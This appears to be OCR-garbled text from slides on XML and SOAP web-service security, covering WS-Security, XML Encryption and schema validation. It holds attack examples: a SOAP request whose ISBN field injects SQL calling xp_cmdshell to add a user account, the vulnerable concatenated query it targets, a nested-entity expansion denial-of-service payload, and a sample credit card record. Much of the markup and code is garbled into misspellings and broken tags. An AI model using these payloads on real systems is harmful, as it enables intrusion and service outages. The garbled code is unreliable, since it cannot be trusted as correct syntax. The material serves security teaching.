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<SOAP- ENV: Envel ope
SOAP- ENV: encodi ngStyl e = "http://schenmas. xnl soap. or g/ soap/ encodi ng/ "
xm ns: SOAP- ENV = "http://schemas. xm soap. or g/ soap/ envel ope/ " >

<SOAP- ENV: Header ></ SOAP- ENV: Header >

<SOAP- ENV: Body>

<SOAPAPP: Cet Ti me xm ns: SCAPAPP = "http://tenpuri.org/ nessage/ ">

<Ti meZone>GMI</ Ti neZone>

</ SOAPAPP: Get Ti ne>

</ SCAP- ENV: Body></ SOAP- ENV: Envel ope>

<SOAP- ENV: Envel ope
SOAP- ENV: encodi ngStyl e = "http://schenmas. xnl soap. or g/ soap/ encodi ng/ "
xm ns: SOAP- ENV = "http://schemas. xm soap. or g/ soap/ envel ope/ " >

<SOAP- ENV: Header ></ SOAP- ENV: Header >

<SOAP- ENV: Body>

<SOAPAPP: Pl easeDont Runie xm ns: SOAPAPP="http://tenpuri.org/ message/ ">

Hack Hack Hack Hack

</ SOAPAPP: Pl easeDont RunMe >

</ SOAP- ENV: Body></ SOAP- ENV: Envel ope>
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<?xm version="1.0" ?>
<Paynment | nfo xm ns="http://exanpl e. org/ paynentv2' >
<Nane>John Sm t h<Nane/ >
<CreditCard Limt="5,000" Currency=" USD >
<Nunber >4019 2445 0277 5567</ Nunber >
<I ssuer>Bank of the Internet</I|ssuer>
<Expirati on>04/02</ Expiration>
</ CreditCard>
</ Payment | nf o>



<?xm version="1.0"7?>
<Paynent | nfo xm ns="http://exanpl e. org/ paynentv2' >
<Nane>John Sm t h<Nane/ >
<CreditCard Limt="5,000" Currency="USD >
<Nunber >

<Encrypt edDat a
xm ns="http://ww.w3. org/ 2001/ 04/ xm enc#'
Type="http://ww. wW3. org/ 2001/ 04/ xm enc#Cont ent"' >

<Ci pher Dat a>
<Ci pher Val ue>A23B45C56</ C pher Val ue>

</ C pher Dat a>
</ Encr ypt edDat a>
</ Nunber >
<I ssuer>Bank of the Internet</I|ssuer>
<Expi rati on>04/ 02</ Expi rati on>
</ CreditCard>
</ Payment | nf o>
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<soap: Envel ope>
<soap: Header >
<Security soap: act or=“gat eway" soap: nust Under st and="1">

</ Security>
</ soap: Header >
<soap: Body>
<Dat a/ >
</ soap: Body>

</ soap: Envel ope>
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WS-SecureConversation WS-Federation WS-SecurityPolicy
4 [
WS-Policy WS-Trust WS-Privacy
WS-Security
&
!
SAML
023 ! XML Encryption, XML Signature
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<SQAP- ENV: Envel ope xm ns: SOAP-
ENV="htt p: // schenas. xm soap. or g/ soap/ envel ope/ ">

<SOAP- ENV: Header ></ SOAP- ENV: Header >

<SQAP- ENV: Body

<BookLookup: sear chByl BSN xnl ns: BookLookup="htt ps://ww. books. coni Lookup" >
<BookLookup: | BSN>1234567890<BookLookup: | BSN>

</ BookLookup: sear chByl BSN>

</ SOAP- ENV: Body></ SOAP- ENV: Envel ope>

? A< ;
Set nyRecordset = nyConnection. execut e("SELECT * FROM nyBooksTabl e WHERE | BSN
='" & IBSN El enent _Text & "'")

? ;
SELECT * FROM nyBooksTabl e WHERE | BSN = * 1234567890’



I G% S # $

<SQAP- ENV: Envel ope xm ns: SOAP-
ENV="htt p: // schenas. xm soap. or g/ soap/ envel ope/ " >

<SOAP- ENV: Header ></ SOAP- ENV: Header >
<SQOAP- ENV: Body
<BookLookup: sear chByl BSN xm ns: BookLookup="htt ps://ww. books. conml Lookup" >
<BookLookup: | BSN>'" exec master..xp_cndshell 'net user Joe pass
/ ADD <BookLookup: | BSN>
</ BookLookup: sear chByl BSN>

</ SOAP- ENV: Body></ SOAP- ENV: Envel ope>

? A< ;
Set nyRecordset = nyConnection. execute("SELECT * FROM nyBooksTabl e WHERE | BSN
='" & I BSN El enent _Text & "'")
? ;
SELECT * FROM nyTabl e WHERE | BSN =’ exec master..xp_cndshel|l 'net user Joe pass
/ ADD
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<si npl eType nanme="i bsn">
<restriction base="string">
<pattern value="[0-9]{10}"/>
</restriction>

</ sinpl eType>

# # - # # * ! ) # -

/ Body/ BookLookup: sear chByl BSN BookLookup: | BSN

1234567890 $
exec master..xp_cndshell 'net user Joe pass /ADD

- 3
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<?xm version="1.0" encodi ng="utf-8"7?>

<! DOCTYPE f oobar [
<IENTITY x0 "hel | 0">
<IENTITY x1 "&xO0; &x0; "
<IENTITY x2 "&x1; &x1;"
<IENTITY x3 "&x2; &2;"
<IENTITY x4 "&x3; &x3;"

V V. V V

<IENTITY
<IENTITY
<IENTITY

X98 " &x97; &x97; "
x99 " &x98; &x98; "

>
>

x100 " &x99; &x99; ">

]>
<f oobar >&x100; </ f oobar >
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<?xm version="1.0" ?>
<env: Envel ope xm ns:env="http://ww. w3. org/ 2001/ 12/ soap-
envel ope" xm ns: wsse="http://schemas. xm soap. or g/ ws/ 2002/ 04/ secext"
xm ns: dsig="http://ww. w3. org/ 2000/ 09/ xm dsi g#" >
<env: Header >
<wsse: Security wsse:actor="http://ww. w3. org/ 2002/ 06/ soap- envel ope/ rol e/ next ">
<wsse: Bi narySecurityToken wsse: | d="Bestsel | ersToken"wsse: Val ueType="wsse: X5090v 3*
wsse: Encodi ngType="wsse: Base64Bi nary" >asDVI WM 389MIndn . . .</Bi narySecuritytoken>
<dsi g: Si gnat ur e>
<dsi g: Si gnedl nf 0>
<dsi g: Canoni cal i zati onMet hod Al gorithm="http://ww. w3. or g/ 2001/ 10/ xm - exc- c14n#"/ >
<dsi g: Si gnat ureMet hod Al gorithnm=“http://ww. w3. org/ 2000/ 09/ xm dsi g#r sa-shal"/ >
<dsi g: Ref erence
Pﬁlz"http://ardomnload.adobe.conipub/adobe/acrobatreader/mﬂn/5.x/5.1/AcroReader51_ENU_fu
. exe">
</ dsi g: Ref erence>
</ di sg: Si gnedl nf 0>
<dsi g: Si gnat ur eVal ue>wert wert wert </ dsi g: Si gnat ur eval ue>
<dsi g: Keyl nf o><wsse: Securi t yTokenRef er ence>
<wsse: Ref erence URI ="#Best Sel | er sToken"/ ></wsse: SecurityTokenRef erence>
</ dsi g: Keyl nf o></ dsi g: Si gnat ur e>
</ wsse: Securi ty></ env: Header >
<env: Body>
<p:invoi ce | D="booki nvoi ce* xm ns:p=http://bestsellers.coniinvoice>
<p:itenrNewBook</p:itenp
<p: shi pt o>Jane Doe</ p: shi pt o>
</ p:1nvoi ce>
</ env: Body>
</ env: Envel ope>
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